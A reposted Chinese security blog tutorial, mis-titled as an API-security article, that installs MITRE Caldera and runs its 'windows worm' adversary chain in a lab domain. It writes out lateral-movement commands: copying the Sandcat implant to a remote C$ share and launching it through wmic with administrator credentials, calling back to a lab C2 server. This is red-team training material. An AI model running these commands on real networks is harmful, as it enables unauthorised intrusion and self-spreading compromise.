API安全Top 10 漏洞:crAPI漏洞靶场与解题思路
2022-11-9 18:58:44 Author: FreeBuf(查看原文) 阅读量:20 收藏

 关于Caldera 

又名“火山口”,是一款攻防自动化对抗框架。就不多介绍了,网上有很多介绍的文章,接下来从安装开始。

 Caldera安装 

包含一些我踩过的坑以及注意事项。注意:不支持windows。


官方github地址:https://github.com/mitre/caldera

需要golang环境和python环境。python版本尽量3.7,高版本容易报错。

语言环境弄好之后,按照其说明进行安装:

git clone https://github.com/mitre/caldera.git --recursivecd calderapip3 install -r requirements.txtpython3 server.py --insecure

(向右滑动、查看更多)

注意:这里的--recursive一定不能丢,意思是递归下载,会下载重要的插件,否则到时候会报错。

最后一条命令python3 server.py --insecure

不加后面的参数也行。还有一点要注意,下载完之后,可能有一些文件会被杀软干掉,如果有这种情况,注意把他们复原。

开始安装:


还要安装upx,官方地址:

https://upx.github.io/

很简单,直接解压再加进环境变量即可。

 启动登录 

首次启动可能会失败,直接卡在插件那里,等几分钟再重启就ok了 (原因不明),启动之后 访问localhost:8888成功说明成功启动。

在成功启动后,会在conf/下生成一个local/yml文件,是配置文件。里面的内容基本 不用动,拉到最下面有一个 users 的选项,里面有bluered两个用户,后面是密码,修改即可。

再回到localhost:8888或者ip:8888,这里默认绑定0.0.0.0,使用red用户登录。

 功能介绍 

登录进来之后,看左边导航:

1.Agent

类似CS的Agent机器上线步骤:

1.点击Deploy an agent。

这里我们选择Sandcat即默认agent。

2.选择操作系统,即要上线机器的操作系统,点击不同的操作系统,会给出不同的payload,然后在目标机器上执行即可上线。

需要更改的地方只有这个app.contact.http这里的ip,把它改为启动caldera机器的IP即可。

上线命令也给出了很多,我们都选第一个即可,即红队默认agent。

最后到需要上线的机器执行命令,回到导航,点击agent,可以看到上线机器。

2.Abilities

指的是在可以在agent上执行的操作,每一个ability都是TTP上的一个步骤。

可以进行搜索筛选,点击可以查看、编辑某一个ability。

3.Adversaries

选择TTPs链,caldera提供了一些TTPs来供我们学习研究。

当然,也可以自定义。

4.Operation

点击 create operation,选择一个adversary即可。

其余选项不用动,点击start则会在已上线的机器上执行Adversary。

5.插件

这里先不涉及到。

 windows worm#1 

这里我们拿windows蠕虫来实操一下。

执行顺序

点击Adversaries,选择windows worm#1,看一下这个TTPs是怎么运行的

可以看到很多abilities,等下使用operation运行的时候则会自动按照这个顺序运行,后面会详细说到每一个步骤。

环境

根据其TTPs链,搭建相应的环境

  • win2012(已上线) 172.29.2.215

  • win2016(AD) 172.29.3.66

域:worm.lab

域管账号密码:

win2012本地管理员账户密码:

上线机器

我这里要上线win2012,点击导航栏agent,再点击Deploy an agent

再按照前面说的,选择sandcat agent再选择平台,改ip再复制payload。

到win2012上powershell执行复制的payload,成功上线。

开始执行

接下来就是operation,真正运行了,点击create operation,名字随意起,选择windows worm#1,点击start就开始了。

接下来我会详细说每一个步骤的过程,及踩到的坑。

1.collect ARP details

很简单,直接用命令arp -a进行信息收集,保存ip信息

保存所有IP,为下一步做准备。

这里有个干扰,如果多台机器上线,都会执行此操作,但是它只取一台机器的结果,关掉无关机器即可,还有一个编码问题,导致无法解析结果。我直接把系统语言换成英文即可。

2.Reverse nslookup IP

可以看到它是根据上一步收集到的IP一个一个进行DNS记录查询,使用的是nslookup命令。

这里有个问题,发现所有结果都是unknow,我到机器上执行也一样。如果结果全是unknow,导致下一步无法执行。

解决方法:它的目的应该是想通过IP找到域名,那么我到AD上进行配置PTR记录即可。



现在可以成功解析:

此处保存了fqdn,即输出结果的Server

3.View remote shares

查看远程共享,使用了net view命令,使用了上一部保存的fqdn,执行的命令:

net view \\win2016.worm.lab /all

使用net view命令时,如果是本地账户,会自动使用当前缓存的密码进行NTLM认证,域内账户则会使用Kerberos认证。这些是new view命令内部做的事情,不做深入探究,这一步骤会保存fqdn,后面会用到。

4.Copy 54ndc47 (SMB)

给出的命令:

$path = "sandcat.go-windows";$drive = "\\#{remote.host.fqdn}\C$";Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";

(向右滑动、查看更多

这一步首先把sandcat.go-windows木马文件上传到已上线机器,再尝试复制木马文件到远程共享目录(fqdn,上一步保存的结果),会使用自身缓存的密码和Administrator进行连接。所以只有密码相同的机器才能成功,为了实验成功,我们两台机器的密码设为一样。

最终执行的命令:

$path = "sandcat.go-windows";$drive = "\\win2016.worm.lab\C$";Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";

(向右滑动、查看更多

前提条件:

  • 知道fqdn即可 (即上一步的保存结果)

  • 开启了SMB服务(默认开启)

5.Start 54ndc47 (WMI)

这一步执行上传的文件,第四步之后就卡住了,只能手动添加这一步。(因该是参数不够的原因)

首先到Adversaries界面查看第五步骤的名字,并复制。

再回到operation界面右下角,有一个Potential Link按钮,点击它。

**注意:**这里如果有弹出红色框框报错,直接重启caldera就好

先选择Excutor,选择PS(即Powershell),再到搜索框输入刚刚复制的Abilitity 名字,并找到相应结果。

框框里面就是接下来需要执行的命令,#{...}格式的是变量,这一步我们只需要修改前面三个变量,其余的会自动补充。

这里第一个变量,我们也可以点击上面的 remote.host.fqdn选择一个,我们就不用手动修改这个变量了。

给出的原始命令:

$node = '''#{remote.host.fqdn}''';$user = '''#{domain.user.name}''';$password = '''#{domain.user.password}''';wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server #{server} -group #{group}";

(向右滑动、查看更多

前提条件:需要 FQDN、用户名、密码

其余的变量会自动填充

最终执行的命令:

$node = '''win2016.worm.lab''';$user = '''administrator''';$password = '''[email protected]#''';wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server http://172.29.2.129:8888 -group red";

(向右滑动、查看更多

成功上线另一台机器:

6.collect ARP details

再到已经上线了的机器上执行arp -a 命令。

精彩推荐


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651202866&idx=3&sn=3a7e3d99c8336c1147c15e3214637214&chksm=bd1db7b98a6a3eaf246030ebbeee8b49ce31eaf5c2c70b1bd8a62ac4b454bb1bca0b57dada2c#rd
如有侵权请联系:admin#unsafe.sh